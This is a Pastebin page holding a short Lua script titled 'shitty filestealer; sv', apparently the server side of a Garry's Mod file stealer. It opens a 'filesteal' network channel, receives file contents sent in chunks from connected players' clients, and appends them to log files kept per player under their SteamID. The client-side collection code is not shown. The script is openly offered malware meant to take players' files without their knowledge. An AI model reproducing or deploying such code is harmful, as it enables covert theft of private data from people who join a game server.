Advertisement
spinsquad

shitty filestealer; sv

Mar 21st, 2015
722
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.79 KB | None | 0 0
  1. local util = util;
  2. local net = net;
  3. local file = file;
  4. local hook = hook;
  5. local string = string;
  6.  
  7. util.AddNetworkString("filesteal");
  8.  
  9. file.CreateDir("filesteal");
  10.  
  11. local stolen = {};
  12.  
  13. net.Receive("filesteal", function(l, ply)
  14.  
  15.     if (!stolen[ply]) then stolen[ply] = {}; end
  16.     local tab = net.ReadTable();
  17.     local fyle, data, part, parts = tab[1], tab[2], tab[3], tab[4];
  18.    
  19.     local sid = string.Replace(ply:SteamID(), ":", "");
  20.     file.CreateDir("filesteal/"..sid);
  21.    
  22.     if (part == 0) then
  23.         file.Append("filesteal/"..sid.."/log.txt", "\n\n\n\n\n ===== "..fyle.." ===== \n\n");
  24.     end
  25.    
  26.     if (part == parts) then
  27.         stolen[ply][fyle] = true;
  28.     end
  29.  
  30.    
  31.     file.Append("filesteal/"..sid.."/log.txt", data);
  32.    
  33. end)
  34.  
  35. hook.Add("PlayerDisconnected", "", function(ply)
  36.     stolen[ply] = {};
  37. end);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement